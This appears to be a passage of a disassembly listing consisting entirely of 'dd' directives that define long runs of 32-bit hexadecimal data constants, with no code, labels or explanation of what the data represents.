		dd 5B26C921h, 0C6EF2B09h, 0A1880267h, 0D9FC59B1h, 9518DFh
		dd 81E03F2h, 435F1869h,	0F06F504h, 24AD1105h, 0AACC5A0Eh
		dd 3B9CEF80h, 79257E3Ah, 69AC20A7h, 2DD653D5h, 3819BD70h
		dd 26F81996h, 8C67754Fh, 0F61DD444h, 0C67E26h, 13025878h
		dd 0A31EF474h, 0E511EC02h, 5EEA4DDFh, 7C04DC30h, 0D64A83A1h
		dd 0A0EDB747h, 7B653369h, 808DD13Ch, 0BE384367h, 3B80136Ch
		dd 112F3B2Fh, 9232B468h, 0DCA6824h, 6915CD01h, 51D0EC77h
		dd 0ECB7BD17h, 40F2690Eh, 1BF3F6C9h, 0B4F0063h,	3B387B7Dh
		dd 62D67E18h, 607D348Dh, 3B02CAA8h, 6BA062D1h, 7D8C66F9h
		dd 0FC040017h, 0EC12C41Fh, 0F01C0B9Eh, 29C01C3Eh, 53285A7Fh
		dd 0E6363E5Dh, 0EB32E502h, 0D4A0841Dh, 0A2896964h, 516B5C34h
		dd 2F973C82h, 6D483180h, 0E42FC135h, 44F46743h,	0EAB060D4h
		dd 3BAF0E92h, 1BCB819Bh, 8722ECDAh, 823F006Ah, 0D3F1EDFAh
		dd 2716B5BAh, 0F4F4321Fh, 6B7125FEh, 0F5FCA7h, 3D930AF3h
		dd 0CFFAD338h, 3C81C4DBh, 206EC9B4h, 4B482A8h, 0AA28406Eh
		dd 7C2A7898h, 5D2F4471h, 0E441F52Eh, 0AD52E780h, 4E202732h
		dd 4E788890h, 93072375h, 0B4E9EB9Dh, 83876231h,	5F92E987h
		dd 0B010E75Bh, 9FE615C5h, 0F12F5E00h, 0FD037FE5h, 14A44411h
		dd 0CC046C7Bh, 87179DCDh, 0ED1D0A80h, 0C7635BB9h, 7970ACB4h
		dd 1EF0D3EAh, 2C548E58h, 9CF4EC17h, 0EC42D61Ch,	0F841FDF2h
		dd 0B1B18C7h, 0B209D35h, 5C61F079h, 0AF403513h,	0C0CA6B54h
		dd 78FDD2B0h, 12303465h, 8574298Ah, 0C2900Eh, 0C152060Bh
		dd 586D8CCCh, 2E39B3Eh,	87ED377Ch, 0A6C4984Eh, 38D803C7h
		dd 0E64B5B62h, 0D10B7BC0h, 25474A00h, 0D7688048h, 30BB608Bh
		dd 513B1F32h, 3001C894h, 6539ABE5h, 5EEAA5C4h, 0F348C821h
		dd 33FF2304h, 0B0BCF169h, 633EF287h, 0CEF91131h, 6952808Dh
		dd 0FE96B904h, 0C22E7EA7h, 0DB7AC610h, 0E61358F4h, 83D9C820h
		dd 7BB601EBh, 16965634h, 0DA143086h, 0C6C0FD03h, 4D515F8Ah
		dd 2F00D8D9h, 7F2FB61h,	0BE38C901h, 4C8A9F8h, 60AAEF58h
		dd 0E81E105Eh, 6270A555h, 21F96Fh, 32089248h, 99A90F30h
		dd 184C3AAh, 59FB00CFh,	0CF610568h, 610B748h, 0CFAA9A25h
		dd 0F2DF4328h, 585098F9h, 2041868h, 128421E1h, 91364700h
		dd 0F90345D1h, 0E218C6D8h, 0F03039CCh, 2345415Ch, 18B861F9h
		dd 8E4B1433h, 38E2AF39h, 0A90851h, 10A6B96h, 65998F0h
		dd 84826F00h, 25F630Fh,	0DCB01509h, 4804AC12h, 405EFB76h
		dd 0ADAE6EE7h, 42EF00C2h, 0B8D36657h, 21C0F329h, 0BF814097h
		dd 60C0C5Ch, 0A8192B8Eh, 6353F70Eh, 8F328F60h, 6ED1C440h
		dd 628CF6C0h, 464100FAh, 4E3B54FFh, 4033D1Bh, 0F4912E63h
		dd 0EA080071h, 0B1E5087Dh, 6638C3A3h, 624295B8h, 0BF02C74Ch
		dd 0A9CA40B0h, 45E0A43Ch, 8679E5B4h, 0A447C448h, 0AFFE08F0h
		dd 0B38A21DCh, 4D80ACC5h, 22F1422Ah, 1E248A9h, 6D6B9B06h
		dd 0F80F48E1h, 851E2A10h, 0E020A923h, 74A52DE7h, 0C78118A6h
		dd 0D74F18AEh, 60DF08FEh, 57500107h, 1E710336h,	0A8EA42AFh
		dd 0C0F9F088h, 0F7981648h, 1F0C62C3h, 70C024E2h, 3B3F3A67h
		dd 4A42B908h, 208AB780h, 6A8727Dh, 0D1F9D5C6h, 2C00C1B4h
		dd 5EB212Dh, 1DBA1F55h,	2867CD0Ch, 0A6FA449Ch, 0B0100205h
		dd 9043CEDDh, 0C3AFF704h, 4A1100D6h, 0BDE77506h, 77022B80h
		dd 1FE95F0h, 0A25848EAh, 7D0FB47h, 74B94944h, 0BC971E15h
		dd 73498F00h, 0FE1CB853h, 79688D33h, 0F601C0C4h, 46A000Fh
		dd 0A22E96FBh, 0BC04212Ch, 0B1676DF4h, 20012C82h, 1E69ACE7h
		dd 0AB983Fh, 9DA0D9FCh,	2AEAC938h, 0C0B4EFh, 0ADAB2ECAh
		dd 2DC42A03h, 80EAC06h,	4921C645h, 29111C6Ch, 0E1884504h
		dd 0AB99101Ch, 112B0971h, 0C05C391h, 0F2D43122h, 0C5A82031h
		dd 836051D5h, 73F64288h, 3EFCB821h, 8594CD9Eh, 2D3E0C1Ah
		dd 0D0A454FFh, 362A124Bh, 0E73003ECh, 53A0A139h, 0E1E491DBh
		dd 7E0E6E05h, 1460EFC1h, 50DE2D9Dh, 424230C6h, 0E21F7C89h
		dd 983BC8AFh, 7668BF50h, 590D002Bh, 8361154Eh, 0B03DAB5Dh
		dd 0C16A069Bh, 91D0E2h,	0EE48A8C8h, 33A2E6F7h, 0DE24AEFAh
		dd 7F4104DAh, 284B6104h, 40A898C2h, 783F001Dh, 4CD32F73h
		dd 0AA8D59C1h, 3424FC01h, 519B06A4h, 61CD6C6Bh,	2CD6C412h
		dd 0B9441E1Ch, 1C8CCFACh, 7C0386FEh, 7529B1Dh, 9804DDA7h
		dd 0CA21351Eh, 461806CFh, 21847D46h, 460834CEh,	0CFE30BBCh
		dd 8D303014h, 3A981177h, 0A4C500BAh, 0E01BDB0Ch, 2B3EA3ABh
		dd 2CB528DEh, 0D18D4F50h, 0A4F0BBF9h, 1CBC90BFh, 6D414E67h
		dd 0AD4A82F4h, 0B6439982h, 240997FAh, 984F6C04h, 0CDBFC920h
		dd 20C1B052h, 0FBE9F059h, 5BE20700h, 2B04DD09h,	6FAC8009h
		dd 0FF176EAh, 2A50525Ch, 7804354Bh, 812B82E7h, 0F1073C40h
		dd 504E6801h, 12835F15h, 0F084443h, 6EE82451h, 32053118h
		dd 67A2CE3Bh, 4E727180h, 2D6C6161h, 19822AF1h, 508642F7h
		dd 22DDE800h, 713B80CDh, 0A9A09700h, 86ADBEDBh,	3094A498h
		dd 0BF303704h, 0E0A38228h, 0B4A110D6h, 0E17113F9h, 188A44A2h
		dd 48CC588Bh, 0D117DC04h, 1844AA1Ch, 6025DCEh, 94803826h
		dd 0C1888C01h, 4E51FB0Ah, 8038807Fh, 0C8F53BDCh, 0C82A4A0Dh
		dd 16428829h, 3C282285h, 6A968009h, 19AA6A0h, 65A15E9Ch
		dd 0FCA42DCFh, 0CEE042FCh, 0D2D32C01h, 48D49556h, 9A6C0h
		dd 80731D6Fh, 7FF12D45h, 0E082D300h, 0C0C4EA61h, 0AE543062h
		dd 65E31B3Ch, 89009C7Eh, 6AFA0BD1h, 32B94Ah, 15C98F76h
		dd 46721E22h, 631F55F2h, 33408058h, 0C77361BAh,	74997Bh
		dd 0FD30BFB4h, 5F00AB39h, 0E80E01Ah, 0C0CC1E11h, 62F80758h
		dd 37009352h, 602DF1F0h, 6AF45Ch, 861D82CCh, 437030EBh
		dd 5D899F01h, 47C8FDD9h, 652C6180h, 7D97D1A3h, 0D4B11B03h
		dd 8880D9D8h, 192C501h,	0FE6F7B3Fh, 1044F073h, 1906455h
		dd 480EBE79h, 0E52A37B3h, 287EF0D2h, 44EA8500h,	0BE2BAF4h
		dd 43D8007Ah, 0D272D9A1h, 0AD0FF1EEh, 80073D89h, 0CA03AC35h
		dd 5A772EBh, 0FF7D887Ah, 0BCD400C9h, 75C89E24h,	3973C400h
		dd 77E9969Fh, 9118C0BDh, 0DFFDB560h, 291350C0h,	608BAD3h
		dd 3C091AE8h, 2E0018E0h, 0B3C0586Ch, 0E48BE673h, 0C762008Ah
		dd 28ED12C5h, 0AC0046D9h
		dd 9ECDD477h, 3702EB1h,	699F329Bh, 7CD0C7AFh, 1600D7ADh
		dd 673B5E8h, 105FBF2h, 0C2E1277Dh, 0D463D419h, 0EA009901h
		dd 0F73507ADh, 0E4AC62C6h, 1EB724AEh, 8BE107B8h, 8D9B50C2h
		dd 1CEC6FDDh, 0A0A6E326h, 6B5F0E00h, 0DBBA1Ah, 88893965h
		dd 2A588332h, 0E47E9D00h, 0A6534092h, 5894E9h, 49E815D9h
		dd 64748936h, 0F683C0A0h, 0F3DA5B00h, 65BD3009h, 4E0D0006h
		dd 45F79796h, 0CB18A673h, 0FC20F4EBh, 6BE3001Ah, 186FF27Bh
		dd 0C21269AFh, 6000BC8Ch, 0C1555896h, 0F8897DA9h, 2CCF030Eh
		dd 15FDFA8Bh, 0A20285A3h, 0B147CAA0h, 0C02443C3h, 0E637F6h
		dd 0C8862830h, 0ECDB1352h, 2662C400h, 0F64AF778h, 5BB00A8h
		dd 85FD0233h, 0CE00D022h, 9FE7E9FAh, 179BE91h, 0B193A06Dh
		dd 8112EA59h, 0CBC88BC0h, 84289455h, 60C21Ch, 6C4630B9h
		dd 2D00EAACh, 87E97A2h,	50A516h, 0B43534Eh, 8E569636h
		dd 5E1E2409h, 16682175h, 4C20D041h, 0EF6D243Eh,	71870E68h
		dd 4CA285Bh, 0A043D200h, 95A700C6h, 9ACFB06Ch, 823CA8AFh
		dd 4A79000Dh, 0B62EDBEh, 0C44900CAh, 4F9B6AD2h,	0F47472C7h
		dd 0A0BDF4E5h, 0B86FC91Ch, 7DE8DF03h, 62F588DBh, 0A4583851h
		dd 0F098EDB9h, 87E40C0Eh, 0F72F0500h, 0DEE11403h, 0FB281E48h
		dd 47198ECFh, 0B80B329h, 278E2A8Ch, 7868325h, 0DC002804h
		dd 0AAFDE5h, 9BB3E0ACh,	4A9EF17Fh, 52564D00h, 17261D62h
		dd 6753146Ch, 490ECCDAh, 4B087727h, 4103E700h, 9AC3295h
		dd 0A2FECD8h, 0E5D63A80h, 6A1B6F97h, 0E3C8127Bh, 3DCDF0F7h
		dd 76559863h, 66C3093Eh, 3080782Fh, 74C4DB48h, 5BA7B600h
		dd 4D955464h, 0AEF3E50h, 27D7308Eh, 0ECD692A0h,	0D8F4575Ah
		dd 6FC2F200h, 0A54C222Eh, 38361C2Ch, 4DEBC0EFh,	0B99EAF6Dh
		dd 0B8AE2300h, 0B52E2896h, 977600A9h, 0F012BC63h, 641ED330h
		dd 52CFE02Dh, 0DDACB720h, 547AA007h, 424EF249h,	0EFC2F40h
		dd 0E3EFEC01h, 20A94152h, 13FCEAF5h, 3F427378h,	0F080CA83h
		dd 6270878Bh, 47187A49h, 0A45AE684h, 720E2401h,	30048D9Ch
		dd 9EE81039h, 0F700D307h, 59020E33h, 35AFBh, 0AC4470EAh
		dd 45D937CBh, 0CABCD001h, 0EC331ADBh, 0B83050F8h, 74BD17B6h
		dd 5C390FDEh, 0C6549A40h, 0A900E8EAh, 61D32780h, 0F0D3A58h
		dd 0EDF2A008h, 15954080h, 0B0C96CFh, 385D16E9h,	57B30078h
		dd 0C28EC7B9h, 7C0062B4h, 843AE786h, 169E485h, 0C6DD707Eh
		dd 0C074FBB1h, 9D00C9EAh, 0AAB0D746h, 40D33Ah, 9663CF1Bh
		dd 0D05BBDCBh, 606AD500h, 4E7C4797h, 650F0081h,	0BAC1BC77h
		dd 513CEBA5h, 9D00F232h, 0B23613D7h, 0F06E1BBh,	0BF61F1F3h
		dd 382060EBh, 2B3898EFh, 4012D4FAh, 0BC06E89Bh,	0F2159B8h
		dd 52234DBh, 78BE1B60h,	0E2051D4Ch, 742C7117h, 1F4C82h
		dd 0A3D954EBh, 19E97C00h, 9E3AF7B2h, 0BD51017Bh, 3D42EC11h
		dd 38D3C4EDh, 0AC2D1A00h, 76BCE1EBh, 35040303h,	39E2A9BEh
		dd 145CF8EBh, 426E00D8h, 4B9613D4h, 105D01B9h, 3F90EE57h
		dd 2BE3F4E7h, 0D30093EAh, 97DE5247h, 8EC18Fh, 7D5F5A7Bh
		dd 32B62B72h, 83FB1C00h, 6CDF56FFh, 16498C7h, 5EFE451Fh
		dd 0FCCD2FA2h, 0F41F611Ch, 0D484C2C6h, 50D7995Ch, 4F10E871h
		dd 3D5C34h, 5C52A649h, 0C5D0EFD4h, 66F04500h, 0A001AE0Fh
		dd 3FDF0089h, 0AC764B72h, 2703ABA3h, 0D1B831BFh, 4180BFFEh
		dd 87DB7Ah, 0A1011C40h,	0BFC70956h, 81B74A38h, 9EEA8E53h
		dd 0EBCE7337h, 0B24087C0h, 0A2B5D6h, 92ABB884h,	42564A57h
		dd 4B0E2500h, 5F1DF4EAh, 1ECB00A3h, 0B1FB74B3h,	0DA003FFFh
		dd 1F6F4EE9h, 4DD38CDh,	0D3A0A46Ah, 0C528C02Ch,	6E25D73Dh
		dd 2EC8905h, 0E8ACA201h, 39B614h, 6A5B4097h, 2981447Ch
		dd 42EB3B03h, 994A10EFh, 28619E43h, 1E6F5BFCh, 812FD0E2h
		dd 0E9E5238Fh, 0AFFDEC46h, 21FA2DE4h, 8F7FB43Eh, 0C6CEE21Ah
		dd 1BE15CEAh, 80C3A0A8h, 90E9AFC0h, 62AB6F01h, 5B295094h
		dd 7B4F1887h, 6B54833Ch, 53113Ch, 9E1E1B3Eh, 0FF8CBAh
		dd 799A2262h, 45C4D0B9h, 0F648F41Dh, 0E200F75Fh, 93838D1Fh
		dd 0AC792862h, 45810038h, 0D720C5Dh, 3907EDA5h,	20496069h
		dd 9F3032C1h, 3D22D0h, 318125B6h, 5B12A648h, 6AADB830h
		dd 7CA20DA8h, 0E48E0028h, 4153DB1Ah, 1D39D146h,	20A50AFCh
		dd 0C980387Ah, 48573C79h, 805D5403h, 9EEC0001h,	41DFFBC1h
		dd 2C73CD21h, 0D1C260FFh, 841DC303h, 0A98E0Fh, 53839831h
		dd 52EB3C63h, 75E77B07h, 0BF4746A3h, 0E8F10532h, 183824Ch
		dd 9F6BA879h, 0F0F2440Eh, 536042B9h, 0CB723749h, 0FEEB37AFh
		dd 0ED6BB010h, 2B39E74Dh, 0FCA700CDh, 0E04805ADh, 3D3B164Eh
		dd 45E49314h, 0BA3141E0h, 642C2928h, 0B386AC9Eh, 3E28C189h
		dd 0C018C5EDh, 0CD160C2h, 70062496h, 1CE09DACh,	8032DC8Dh
		dd 830880BEh, 5DF662CDh, 0F8F57E03h, 11A2DA6Fh,	7B218829h
		dd 84719044h, 44A0FF22h, 3B004C94h, 0ED5A0B20h,	40773D9h
		dd 0E345BBDFh, 0A614D08Fh, 0DA00525Fh, 972B1938h, 52587C7h
		dd 6CE1BECh, 0A87F80BBh, 62D33A04h, 29C3015h, 94229B51h
		dd 26C05036h, 84102A1Ch, 0C102383Ch, 252B071Ch,	0EEA3FCA4h
		dd 0B18528C0h, 0EAB5057Bh, 4FEB304Eh, 2310AD40h, 3E00FAE4h
		dd 0B7AEE70Dh, 196D35h,	0B00BD339h, 49F45D3Fh, 11CCCF00h
		dd 0AC0DFEEAh, 0F187A22h, 0FBAF8495h, 0CD9ABB00h, 51012007h
		dd 9B871FDEh, 43DCB8EAh, 6B9E0105h, 6291DF59h, 40D8C044h
		dd 0F9F53600h, 0B4F633A1h, 80B207C0h, 10B1DB78h, 4F089A6Ch
		dd 0C93B5200h, 9334792Fh, 4D4117E0h, 0D4FC00A0h, 6A8AF4D5h
		dd 3FC98704h, 0E892EC31h, 39C0687Fh, 3361012Eh,	1E72011Ah
		dd 0D2D5C4CBh, 0A59BE300h, 0EDD4EB96h, 436B035Ah, 80F6A7CAh
		dd 692776A0h, 16C08501h, 6B592BB4h, 7DBC81CEh, 80705F55h
		dd 53FA14A8h, 5101B0D1h, 6E331299h, 0F0B450C1h,	30288CC0h
		dd 3D00D122h, 0E974DD31h, 0EC55F78h, 4B492C7Ah,	0E7078060h
		dd 32C032DFh, 0EBA7F9A4h, 0D6B600CEh, 5C89AA42h, 7C0192C2h
		dd 6A0FF049h, 40D6B407h, 24B395F4h, 6CC497h, 82277C73h
		dd 62006D1Bh, 0F24DC220h, 1E81DF55h, 1CB1890Ah,	0C245Bh
		dd 0C0241759h, 8D00740Eh, 32C6B26Ch, 2DEB4Ch, 0E5E81627h
		dd 5C19A4Eh, 0E300F075h, 31B7A956h, 3C31E25h, 0B2EB0CBFh
		dd 0E6C01137h, 5530FC28h, 5A021A2h, 80F700B0h, 2BB87233h
		dd 40000B6Fh, 0BB677E68h, 0A0783A46h, 58C4B3h, 863B34C2h
		dd 6C3A16Bh, 7A0CEB09h,	0A0070E04h, 0F8FC75F7h,	92C43D5Eh
		dd 5289E00h, 104A64AEh,	9A004671h, 43B55989h, 2CEC9C1h
		dd 1A60987Eh, 8C8FC61Ch, 4620378Eh, 4FD0854Ah, 0A100A2F8h
		dd 0ACF0AD38h, 0D87AB4h, 0C956047Ch, 4B1425B7h,	47D92800h
		dd 78C219D6h, 0A35B39A5h, 0E4B400FFh, 7DD04324h, 4200311Bh
		dd 54FA723Eh, 0A867FCh,	0B49B07C5h, 8E6DBD6Fh, 216CDC05h
		dd 0E49079B7h, 208B4D34h, 0FCE88DB9h, 0DB30C070h, 8CE110BCh
		dd 0D7410063h, 6E5B5493h, 3B0CF046h, 40F1D88Ah,	0A4520097h
		dd 29336F1Dh, 2C25CFEAh, 76D040h, 558115E4h, 0E650858Dh
		dd 0C6327C02h, 0D819D064h, 5E0A0490h, 87288FEFh, 0FB2AC048h
		dd 5B00D392h, 0D120DF0Bh, 1F50AF22h, 0C08B2DA5h, 273A5E35h
		dd 0FFA1308h, 0D6C8D900h, 0EBD7A5B1h, 817217EAh, 636402CBh
		dd 4040B3F0h, 38483486h
		dd 46000A2h, 693A67A6h,	0E20E0013h, 6A2B71DAh, 2F4975DCh
		dd 0B73D0E9Ch, 19055BBh, 9BFDF9BDh, 196F7D4Fh, 24BF701Eh
		dd 0C90009A4h, 0FBDB3E8Ah, 10C3A5h, 0E518ED32h,	81E9FA82h
		dd 737FE600h, 2EF28736h, 0AC5C50ADh, 14967D97h,	84C4CEBAh
		dd 5E634500h, 3F7216D0h, 29BC7030h, 4F1BD9CCh, 7674206Ch
		dd 6100AB4Dh, 33DE3CF0h, 0D4A049h, 931CD5E1h, 5057A36Dh
		dd 1B095200h, 0A2FDE808h, 0F9C10062h, 0B7285F56h, 5A0380D7h
		dd 2219DCD0h, 58965Dh, 0C9FDCEAAh, 0A991F2ADh, 0F3326400h
		dd 0F7B88FCDh, 0A0CF2CD7h, 144C8968h, 0A26AECC8h, 0D037AE00h
		dd 60104B35h, 18CE0434h, 0B0B4B16Bh, 40014FCh, 0F60219E8h
		dd 5AFDCC0h, 0AAED83A7h, 5ED8D096h, 12055A29h, 0DE736160h
		dd 0B41DFC07h, 24EF460h, 0BFEB00A4h, 583E814Ch,	7C9A08BCh
		dd 0D1D30900h, 136B6E97h, 5769077Bh, 41E9BCB7h,	38583991h
		dd 0B87E0071h, 9649F845h, 1C089802h, 8CBFF1A4h,	4C10033Dh
		dd 0F49B5A08h, 40789E68h, 6D13BD37h, 0E903279Ah, 209647C0h
		dd 64F6A7D4h, 0E2540029h, 98B5E1D9h, 7C01CA3Bh,	53BB8AF6h
		dd 52D0D539h, 44051813h, 0F51179A3h, 7E0230EAh,	731BCADh
		dd 8075C20Eh, 0F26F0A3Ch, 0E41C40FAh, 0C354A000h, 102DC6FDh
		dd 5D04090Eh, 0C00E9EAh, 35C88E08h, 31F44200h, 7C033AF8h
		dd 89491D62h, 0F1450071h, 0BAC0BCAFh, 4F0BA53Ch, 9A19E400h
		dd 40758Ah, 2ECA4E5Dh, 570A435h, 0F966BD00h, 4B8906Dh
		dd 7BFF0037h, 2DEA8ABEh, 78B4817Fh, 0AF215007h,	76A2FBF0h
		dd 0A3CE03D5h, 0D787C692h, 0C86F54C1h, 10485E84h, 0F74A00ECh
		dd 0E69FAB2h, 1A4B25Ah,	45C91F3Bh, 0E8AA0464h, 0F1011C38h
		dd 4B9BFA13h, 35D82B9Fh, 0A12904CCh, 0AAC324C5h, 0A8657F00h
		dd 0CE6EAAh, 81A0FC76h,	0F4E74B1Dh, 92870401h, 0C76C0CAEh
		dd 93B030h, 9BD54705h, 2D202113h, 49327207h, 842181FDh
		dd 88708A19h, 3FA8EA05h, 9800C355h, 0A324F668h,	370028F1h
		dd 956B3CCh, 26741525h,	3AB0E601h, 73CDD200h, 98E3F64Dh
		dd 2199D000h, 0B518B3B4h, 1E850086h, 0CF55BCE7h, 0F502889Eh
		dd 0FADD0576h, 3B086061h, 0ADA4BEAFh, 0AEA08413h, 0D8376D05h
		dd 2011C0BEh, 0E4623B18h, 1B159A00h, 0D406A946h, 3266C300h
		dd 6FC0C56Eh, 0EEE9023Dh, 1277230Fh, 0E02080AEh, 6F6A97FDh
		dd 0C5DA5600h, 0E20A7B1h, 376B00D6h, 75340F0Ch,	881D4348h
		dd 4B876DC0h, 1310ADFCh, 0E40815h, 22556169h, 5251BCD9h
		dd 4F5880EFh, 503E3C4Bh, 0AE792589h, 9145E020h,	93076F5Ch
		dd 0CB719462h, 9D978041h, 0BB3E20BCh, 2049A807h, 61F5A033h
		dd 5278212Eh, 0A4FBFC00h, 41B9C638h, 5C8B0146h,	7962A371h
		dd 50C2F5ECh, 10811B98h, 0C37190A8h, 0F1B06212h, 85F9D083h
		dd 4E40A9C0h, 483C035Bh, 0EC5D9F50h, 76B2100h, 0A4EDE3C3h
		dd 5E8001Ah, 0CCE173A5h, 38960446h, 0C3ACDF80h,	1C0C5527h
		dd 5F1C8D7Dh, 0A05305DCh, 0EFA3C06Fh, 0E73AE9C5h, 99B0B0BAh
		dd 0E6D2629h, 0D9131765h, 5D885720h, 6B12EBBAh,	28F4B971h
		dd 5831C1ACh, 404C9AAAh, 80251DCCh, 0EB789B00h,	0EAAF7946h
		dd 30F96415h, 2F7A40A8h, 1810E2BDh, 50BCE181h, 0C9000C79h
		dd 2160A5E6h, 0C3C46B6Ch, 0D39C4869h, 0FE60A0AAh, 0F9727DC3h
		dd 3E057900h, 0AFCC5B8Bh, 0DC2F97DEh, 69921856h, 97725392h
		dd 2DA7D100h, 7912F744h, 0F027008Ch, 1D713476h,	8D004854h
		dd 0ACE5B01Fh, 0DEC2846Bh, 14238179h, 0D845CC07h, 240EFF61h
		dd 61E4B38Ch, 187710FCh, 0F968212Eh, 0D117FC73h, 420BB976h
		dd 8708A36Fh, 90D0C27Bh, 0A83A53h, 2A1BA082h, 8DC5E8E0h
		dd 68D46B54h, 510A4Ch, 50F149BCh, 16AA80C7h, 74A3B2Eh
		dd 1CD1AB9Eh, 0F0B08F99h, 529CD200h, 0AFC6E7DFh, 8259DDDh
		dd 916000D1h, 0E96F48CDh, 0C908C4Ah, 7F600132h,	2D7A018Fh
		dd 4808C09Ch, 0B00214C4h, 5C67EEACh, 79FF8068h,	7DB5EAF0h
		dd 0B7C19F01h, 0F31CAB9h, 9EBCC0h, 0C51FD65Ch, 4123F214h
		dd 1100C177h, 8834687Ch, 8DF8DCh, 770B3D97h, 0BAD39FE6h
		dd 0F13BA801h, 0F0E578Bh, 99BC560h, 3AF4C8CFh, 7E2F6780h
		dd 0AC01770Ah, 9F635AE3h, 9DF01E21h, 681800CAh,	95DB06DAh
		dd 0C00E317Bh, 40FCD5A3h, 62D3E997h, 0FC154834h, 909D3E00h
		dd 8570632Ch, 0D7CD0703h, 0B0A9BDD3h, 7A6D5EBh,	7B711569h
		dd 0A5D8E105h, 4330D0D4h, 0A76FC00h, 2D92AD40h,	81700068h
		dd 0CDC7BAF7h, 0E1678BBh, 0F400C9C8h, 0C9DD315h, 0AB420032h
		dd 281D8F9Eh, 0E147B93h, 4694CB77h, 1413CA04h, 75048556h
		dd 0EE92D206h, 35B90010h, 0B83412C5h, 2C079ABBh, 9B6CD02Ah
		dd 97D26DF0h, 0CB743F5Fh, 29C76B99h, 44C308B7h,	604403A0h
		dd 0A3C944B5h, 28244284h, 0A82228CFh, 117F42BAh, 0DB28A579h
		dd 0BF022214h, 44726B42h, 2284278Ah, 6722C1C2h,	8C92229Ch
		dd 97111342h, 85321D7h,	1F9095A3h, 48CCA184h, 93E5422Fh
		dd 225E6B22h, 1B24CD4Eh, 17940721h, 0CF0D4238h,	0BF231724h
		dd 426348E4h, 324E23Fh,	5A59F340h, 6700896Bh, 0B48B2D6Ch
		dd 5C3F3Ch, 0F89AC7C5h,	252A992Ch, 312BC3Bh, 0DE832DA3h
		dd 47F5E8D6h, 48A7606h,	306C3441h, 9FC0BBABh, 5C039A33h
		dd 0D70F06DDh, 99C08C1Fh, 0B30959FEh, 0D2F1A600h, 86ABD34h
		dd 0B8E60BFBh, 0EC07C3EEh, 0F3050150h, 9B9AF445h, 0F4C5E73Bh
		dd 0EC0A2E00h, 0B10BE03Fh, 625D0032h, 249405FFh, 11C799D6h
		dd 0B210A07Fh, 3EE9709Bh, 3B124669h, 0E0FC40EBh, 0E798580Ah
		dd 975A8B03h, 805E8935h, 78AE82Dh, 0A7E41B10h, 39F6702Ah
		dd 0A500DB1Ch, 0FDEC09A9h, 2CEF360Eh, 395AF4h, 83E7B5FAh
		dd 1776B104h, 64113200h, 0E2A3D209h, 3570018Bh,	48B44463h
		dd 248C20CCh, 3BB3710Dh, 0A9FC306Ah, 0FD80000Bh, 84C24654h
		dd 8900512Fh, 0F9265599h, 63E6Bh, 0A3F0EC9Eh, 0BD9DDB38h
		dd 0E9C86500h, 0BAC475Ah, 0C6A5120Dh, 0DA1C05D4h, 0BD9C0151h
		dd 0F5F96260h, 49108364h, 0D1C768h, 7F9FCD42h, 4D929DF2h
		dd 0C6DC1009h, 197601C5h, 9E30238Ch, 7D6B064Ch,	0A006A211h
		dd 2BA56802h, 87108503h, 6FF09AB0h, 0E41613h, 0DE1C06F5h
		dd 0F387A591h, 0CE00C973h, 80E9A986h, 746489B3h, 6EB903BFh
		dd 96A35C09h, 0B669F6D8h, 59851700h, 0B733D86h,	3D997638h
		dd 94A62C4Dh, 9E5F0024h, 59D3F0EEh, 816BC100h, 6D3C8449h
		dd 21FCF9h, 312FB1A1h, 7A67CB25h, 578AA800h, 849575F5h
		dd 0C7C400DDh, 3417100Bh, 8E1FF707h, 5D8014CAh,	45F0E9DCh
		dd 36C8ED20h, 322E00DEh, 0A9EA9421h, 1A00159Eh,	3F2D6876h
		dd 5AAD7Fh, 3BAC0BB2h, 41641D9Dh, 0A944EC00h, 0DCCB9F54h
		dd 390A0AB6h, 1B489DFh,	45C99A34h, 4947EC59h, 0A104AE07h
		dd 88E009B3h, 7C5C79h, 7D263864h, 2CDB3182h, 0A79AFE0Fh
		dd 0FA72E228h, 361C40C9h, 173E892Dh, 68303A27h,	158F0A77h
		dd 0E48744BBh, 75E1B003h, 5E806F1Eh, 0EA003554h, 0A32337F4h
		dd 0AA41E9h, 0FFC9AC4Ah, 46065883h, 0DE5A3A0Ah,	6E00F021h
		dd 0DC9ECC20h, 0AC0C0F23h, 66C0D986h, 184EA809h, 0EA391903h
		dd 0E3C450FEh, 0D730F335h, 97CC0149h, 98F0E871h, 0EBE90072h
		dd 47C7D14Fh, 7C002486h, 0A0910DBEh, 14870A4h, 99391D3Ch
		dd 0CD2D5071h, 8AB46493h, 0BFADF201h, 854ECC7Dh, 60A0F8h
		dd 1D641EE0h, 0ED33D54Dh
		dd 2BC7B800h, 5C56346Eh, 798900C1h, 0DBD8C990h,	2A01E2E7h
		dd 8AEB0B19h, 0F44015DEh, 0C5FDE0h, 13C054A4h, 4B60D252h
		dd 64043F0Eh, 308F4075h, 3DE4AB29h, 89826338h, 4B98CF27h
		dd 0A17F9C40h, 0D1469300h, 74B45FF6h, 86F80396h, 739FB591h
		dd 9BB01BC8h, 4FD07200h, 1D80C417h, 0A23C036Ah,	0A18C0704h
		dd 0B6DD45D8h, 0D28A0900h, 2AE669AFh, 0C049125Fh, 0C3FC0085h
		dd 0E7EC1087h, 673D80Fh, 8148C0E5h, 1212F66h, 0A8A90A9Dh
		dd 0FE246198h, 0CEDC0A40h, 0C17D5000h, 1E0739E0h, 8CB1015Ah
		dd 99B26820h, 80832C4h,	402DA5E4h, 43541925h, 0E500BA76h
		dd 0D6C3F76Bh, 1DD26155h, 0C0E283AEh, 0EECAFF9Ah, 79007EA3h
		dd 8B9CF3ACh, 3FCBBDEh,	0C0120B3h, 0C6E2B07Ah, 0F155A860h
		dd 200B892h, 15F6B8CCh,	0A281A19h, 2C666526h, 14087D8h
		dd 51802791h, 0C842FE41h, 1304F52Fh, 0F1A75CCDh, 0B9C1E783h
		dd 88E8E7A3h, 89EE1286h, 0E57C4070h, 2E8F24C9h,	1BFF1500h
		dd 0D61D95BAh, 641C00C5h, 1EAC61B7h, 265020AFh,	0F30008B8h
		dd 0E29CAD4h, 3AA78Bh, 0EF04D555h, 0F20F1505h, 7F18F900h
		dd 0FC50D0EEh, 3F87Ah, 2E09879Fh, 0FDD3FE91h, 9799C324h
		dd 0EA4B7D00h, 0EDFB18h, 909C978Fh, 36B6D216h, 8F718A38h
		dd 0C1F37343h, 0CE3140C8h, 0E4871EC5h, 5383B14Eh, 0C6E8986Ch
		dd 0A003BCE1h, 122ACD3Eh, 84E2A0C0h, 0B4D60088h, 7330B7F8h
		dd 85E207FBh, 914F4900h, 3C21B97Dh, 84A6132Dh, 0A0800B0h
		dd 0F2D3A212h, 15004C90h, 0A6856C83h, 10BD54h, 0E0F55043h
